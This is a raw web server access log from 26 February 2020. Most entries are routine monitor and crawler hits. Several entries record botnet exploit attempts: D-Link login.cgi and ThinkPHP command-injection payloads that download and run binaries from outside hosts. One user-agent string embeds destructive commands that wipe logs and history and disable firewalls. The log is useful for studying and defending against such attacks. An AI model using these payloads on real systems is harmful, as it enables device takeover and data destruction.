212.91.246.72 - - [26/Feb/2020:12:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.105.27.14 - - [26/Feb/2020:12:24:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
183.105.27.14 - - [26/Feb/2020:12:24:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:12:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.230.162.102 - - [26/Feb/2020:12:27:10 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.116.85.84 - - [26/Feb/2020:12:28:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:12:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.91.70.211 - - [26/Feb/2020:12:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:12:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.227.162.19 - - [26/Feb/2020:12:34:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [26/Feb/2020:12:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
210.186.154.254 - - [26/Feb/2020:12:36:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.231.35.8 - - [26/Feb/2020:12:40:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.231.35.8 - - [26/Feb/2020:12:40:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
89.231.35.8 - - [26/Feb/2020:12:41:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.231.35.8 - - [26/Feb/2020:12:42:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.231.35.8 - - [26/Feb/2020:12:42:52 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
178.22.112.58 - - [26/Feb/2020:12:43:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:12:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.231.35.8 - - [26/Feb/2020:12:44:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
54.36.148.53 - - [26/Feb/2020:12:44:43 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.150.15 - - [26/Feb/2020:12:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [26/Feb/2020:12:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.231.35.8 - - [26/Feb/2020:12:46:59 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
89.231.35.8 - - [26/Feb/2020:12:47:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.231.35.8 - - [26/Feb/2020:12:48:32 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.231.35.8 - - [26/Feb/2020:12:49:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.107.249.142 - - [26/Feb/2020:12:51:02 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:12:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.114.128.61 - - [26/Feb/2020:12:53:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:12:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
128.14.134.170 - - [26/Feb/2020:12:55:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:12:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.19.119.46 - - [26/Feb/2020:12:57:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:12:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:12:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.34.184.35 - - [26/Feb/2020:12:59:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:12:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
143.255.243.162 - - [26/Feb/2020:13:03:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [26/Feb/2020:13:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.35.214.99 - - [26/Feb/2020:13:04:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [26/Feb/2020:13:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
175.136.121.33 - - [26/Feb/2020:13:09:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:13:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:12:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:13:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:14:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:15:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:16:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:17:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:18:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:19:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.118.100.150 - - [26/Feb/2020:13:20:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
219.85.50.152 - - [26/Feb/2020:13:20:23 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:13:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:22:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.160.49 - - [26/Feb/2020:13:23:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [26/Feb/2020:13:23:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:24:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
138.255.222.10 - - [26/Feb/2020:13:25:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:13:25:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
84.0.212.13 - - [26/Feb/2020:13:26:30 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:13:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.247.82.8 - - [26/Feb/2020:13:30:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:13:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.193.149.82 - - [26/Feb/2020:13:37:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
123.193.149.82 - - [26/Feb/2020:13:37:20 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:13:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.93.40.45 - - [26/Feb/2020:13:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:13:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.232.251.247 - - [26/Feb/2020:13:49:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:13:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.41.210.105 - - [26/Feb/2020:13:49:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:13:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.255.41.5 - - [26/Feb/2020:13:51:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:13:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.130 - - [26/Feb/2020:13:55:16 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.158 - - [26/Feb/2020:13:55:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [26/Feb/2020:13:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:13:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
68.186.165.171 - - [26/Feb/2020:14:02:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
91.226.9.154 - - [26/Feb/2020:14:02:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:14:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.4.249.69 - - [26/Feb/2020:14:07:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:14:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.224.80.204 - - [26/Feb/2020:14:08:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:14:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:14:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.16.175.154 - - [26/Feb/2020:14:09:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
88.132.222.129 - - [26/Feb/2020:14:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
